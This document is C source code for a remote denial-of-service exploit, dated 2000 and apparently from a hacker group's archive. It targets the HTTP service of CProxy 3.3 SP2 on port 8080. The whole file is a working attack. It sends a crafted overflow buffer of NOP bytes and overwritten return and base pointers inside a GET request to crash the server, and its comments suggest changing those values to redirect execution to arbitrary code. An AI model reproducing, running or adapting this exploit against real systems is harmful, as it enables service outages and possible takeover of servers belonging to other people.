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- /*
- * Remote Denial of Service for CProxy v3.3 - Service Pack 2
- *
- * (C) |[TDP]| - HaCk-13 TeaM - 2000 <tdp@psynet.net>
- *
- *
- * This program xploits an overflow vulnerability in CProxy 3.3 SP2
- * HTTP Service (8080), causing server shutdown
- *
- * Greetings to all the other members and all my friends :)
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-
- #define BUFFERSIZE 247
- #define NOP 0x90
- // If you change this values you can change EIP and EBP values
- // to redirect to a code that you want >;)
- #define EIP 0x61616161
- #define EBP 0x61616161
-
- void usage(char *progname)
- {
- fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
- exit(1);
- }
-
- int main(int argc, char **argv)
- {
- char *ptr,buffer[BUFFERSIZE], remotedos[1024];
- unsigned long *long_ptr,eip=EIP, ebp=EBP;
- int aux,sock;
- struct sockaddr_in sin;
- unsigned long ip;
- struct hostent *he;
-
- fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");
-
- if (argc<2) usage(argv[0]);
-
- if (argc>=3) eip+=atol(argv[2]);
-
- if (argc>=4) ebp+=atol(argv[3]);
-
- ptr=buffer;
- memset(ptr,0,sizeof(buffer));
- memset(ptr,NOP,sizeof(buffer)-8);
- ptr+=sizeof(buffer)-8;
- long_ptr=(unsigned long*)ptr;
- *(long_ptr++) = ebp;
- *(long_ptr++) = eip;
- ptr=(char *)long_ptr;
- *ptr='\0';
-
- bzero(remotedos, sizeof(remotedos));
- snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);
-
- if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- {
- perror("socket()");
- return -1;
- }
-
- if ((he = gethostbyname(argv[1])) != NULL)
- {
- ip = *(unsigned long *)he->h_addr;
- }
- else
- {
- if ((ip = inet_addr(argv[1])) == NULL)
- {
- perror("inet_addr()");
- return -1;
- }
- }
-
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = ip;
- sin.sin_port = htons(8080);
-
- fprintf(stderr,"\nEngaged...\n");
- if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
- {
- perror("connect()");
- return -1;
- }
-
- if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos))
- {
- perror("write()");
- return -1;
- }
-
- fprintf(stderr,"Bye Bye baby!...\n\n");
- if (close(sock) < 0)
- {
- perror("close()");
- return -1;
- }
- return(0);
- }
- /* www.hack.co.za [18 May 2000]*/